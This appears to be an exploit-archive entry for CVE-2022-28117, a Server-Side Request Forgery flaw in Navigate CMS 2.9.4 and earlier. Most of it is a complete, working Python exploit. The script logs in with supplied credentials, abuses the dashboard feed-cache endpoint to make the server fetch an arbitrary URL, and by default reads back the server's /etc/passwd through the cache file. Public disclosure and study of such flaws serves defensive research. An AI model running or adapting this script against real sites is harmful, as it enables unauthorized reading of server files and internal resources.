Navigate CMS 2.9.4 Server-Side Request Forgery (SSRF) (Authenticated)

2022.06.17
Credit: cheshireca7
Risk: Medium
Local: No
Remote: Yes
CWE: N/A

#!/usr/bin/env python3 # Exploit Title: Navigate CMS 2.9.4 - Server-Side Request Forgery (SSRF) (Authenticated) # Exploit Author: cheshireca7 # Vendor Homepage: https://www.navigatecms.com/ # Software Link: https://sourceforge.net/projects/navigatecms/files/releases/navigate-2.9.4r1561.zip/download # Version: 2.9.4 and earlier # Tested on: Ubuntu 20.04 # CVE: CVE-2022-28117 # # -*- coding: utf-8 -*- import requests as r, signal from emoji import emojize from argparse import ArgumentParser from sys import exit from requests_toolbelt.multipart.encoder import MultipartEncoder from hashlib import md5 from time import sleep from base64 import b64decode,b64encode from colorama import Fore, Style #proxies = {'http':'http://127.0.0.1:8080'} def handler(signum, frame): print("["+Fore.YELLOW+"!"+Style.RESET_ALL+"] "+emojize(b64decode("T2gsIHlvdSBjYW7igJl0IGhlbHAgdGhhdCwgd2UncmUgYWxsIG1hZCBoZXJlIC4uLiA6cGF3X3ByaW50czoK").decode('UTF-8'))) exit() def login(): print("["+Fore.BLUE+"*"+Style.RESET_ALL+f"] Trying to authenticate as {args.username} ...") sleep(1) try: # Grabbing CSRF Token s = r.Session() resp = s.get(f"{args.target}/login.php")#, proxies=proxies) csrf_token = resp.headers['X-Csrf-Token'] # Performing login data = MultipartEncoder(fields={'login-username':f"{args.username}",'csrf_token':f"{csrf_token}",'login-password':f"{args.password}"}) headers = {'Content-Type':data.content_type} resp = s.post(f"{args.target}/login.php", data=data, headers=headers, allow_redirects=False)#, proxies=proxies) except: print("["+Fore.RED+"!"+Style.RESET_ALL+"] Something went wrong performing log in") exit(-1) if resp.status_code == 302: print("["+Fore.GREEN+"+"+Style.RESET_ALL+"] Login successful!") for cookie in resp.cookies: if "NVSID" in cookie.name: return (resp.headers['X-Csrf-Token'],f"{cookie.name}={cookie.value}") else: print("["+Fore.RED+"!"+Style.RESET_ALL+f"] Incorrect {args.username}'s credentials") exit(-1) def exploit(values): print("["+Fore.BLUE+"*"+Style.RESET_ALL+"] Performing SSRF ...") sleep(1) # Abusing cache feature to retrieve response data = {'limit':'5','language':'en','url':f'{args.payload}'} headers = {'X-Csrf-Token':values[0]} cookies = {values[1].split('=')[0]:values[1].split('=')[1]} resp = r.post(f"{args.target}/navigate.php?fid=dashboard&act=json&oper=feed", cookies=cookies, headers=headers, data=data)#, proxies=proxies) # Retrieving the file with response from static route md5File = md5(f"{args.payload}".encode('UTF-8')).hexdigest() resp = r.get(f"{args.target}/private/1/cache/{md5File}.feed",cookies=cookies)#,proxies=proxies) if len(resp.text) > 0: print("["+Fore.GREEN+"+"+Style.RESET_ALL+"] Dumping content ...") sleep(1) print(f"\n{resp.text}") exit(0) else: print("["+Fore.RED+"!"+Style.RESET_ALL+"] No response received") exit(-1) if __name__ == '__main__': # Define parameters signal.signal(signal.SIGINT, handler) parser = ArgumentParser(description='CVE-2022-28117: Navigate CMS <= 2.9.4 - Server-Side Request Forgery (Authenticated)') parser.add_argument('-x', '--payload',default='file:///etc/passwd', help='URL to be requested (default=file:///etc/passwd)') parser.add_argument('-u','--username', default='admin', help='Username to log in the CMS (default=admin)') parser.add_argument('-p','--password', required=True, help='Password to log in the CMS') parser.add_argument('target', help='URL where the CMS is hosted. Ex: http://example.com[:80]/navigate') args = parser.parse_args() exploit(login())


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